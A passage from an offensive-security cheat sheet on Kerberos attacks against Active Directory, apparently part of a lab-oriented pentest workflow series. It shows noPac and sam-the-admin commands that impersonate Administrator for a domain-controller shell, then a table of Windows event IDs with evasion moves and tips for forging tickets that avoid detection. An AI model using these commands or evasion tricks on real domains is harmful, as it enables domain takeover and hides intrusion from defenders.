    475 python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
    476 # or dump instead of shell:  -dump
    477 # sam-the-admin (github.com/WazeHell/sam-the-admin) — the same chain with a cleaner auto-flow:
    478 python3 sam_the_admin.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -shell
    479 ```
    480 
    481 > [!warning] Watch out
    482 > Needs MAQ > 0 **and** an unpatched DC — both rarer in 2026, but lab ranges love it. Leaves Event **4741** (computer created) + **4781/4742** (renames) + anomalous **4768/4769** — extremely noisy chain; on real engagements prefer RBCD/ACL paths unless this is the only door. Links: [noPac](https://github.com/Ridter/noPac) · [sam-the-admin](https://github.com/WazeHell/sam-the-admin). Also covered in the Stage 04 CVE checkpoint ([Stage 04](/sheets/pentest-workflow/active-directory-enumeration)).
    483 
    484 ---
    485 
    486 ### 🛡️ Detection & OPSEC — what Kerberos attacks look like to a SOC
    487 
    488 | My action | Event / signal | Blend-in move |
    489 |---|---|---|
    490 | AS-REP roast (unauth) | **4768** with `Pre-Auth Type: 0`, one per account | query few accounts; it's quiet in ones |
    491 | Kerberoast burst | **4769** spike, `Ticket Encryption: 0x17` (RC4) | single-target requests; accept AES (0x12) tickets |
    492 | RC4 downgrade | 4768/4769 etype 0x17 where baseline is 0x12 | request AES explicitly; crack 19600/19700 |
    493 | Failed auth (bad hash/spread) | **4771** (Kerberos pre-auth failed), 4625 | validate creds once, don't re-spray |
    494 | OPtH with RC4 | 4768 etype 0x17 for a user whose baseline is AES | use `/aes256` + Rubeus `/opsec` (real 2-step AS-REQ) |
    495 | PtT from new host | ticket used from IP that never did AS-REQ (KDC-log correlation) | mint fresh TGT (asktgt) instead of replaying |
    496 | Golden ticket | TGT with no matching 4768 on the DC | Diamond/Sapphire (real AS-REQ trail) |
    497 | Coercion (PetitPotam) | DC machine account connects out — NDR/EDR beacon | one-shot only; have the trap set first |
    498 | RBCD write | **5136/4662** attribute change + 4741 machine creation | restore original attribute; delete the machine |
    499 
    500 > [!danger] OPSEC rules for tickets
    501 > - **Prefer AES keys over RC4** everywhere (`sekurlsa::ekeys` grabs both) — RC4 etype is the single easiest Kerberos detection to write.
    502 > - **Respect lifetimes**: default TGT 10h / renewable 7d. A forged ticket with a 10-year lifetime is an IOC; match the domain's `MaxTicketAge`.
    503 > - **Wipe opsec fields**: when forging, set realistic `LogonCount`, `BadPwdCount`, `LastLogon` in the PAC (mimikatz/ticketer defaults can be zeroed — a user with 0 logons holding DA group membership is an anomaly).
    504 > - Purge after use: `kdestroy` (Linux) / `Rubeus.exe purge` / `klist purge` (Windows) — and on the defending side, remember **only a double krbtgt reset** retires golden tickets.
    505 > - Full defense-side reading: detections in [MITRE ATT&CK](https://attack.mitre.org) T1558 sub-techniques.
    506 
    507 ---
    508 
    509 > [!navigation] Continue the attack flow
    510 > **Previous:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration)
    511 >
    512 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
    513 >
    514 > **Next:** [Stage 06 — ACL and Object Abuse](/sheets/pentest-workflow/acl-and-object-abuse)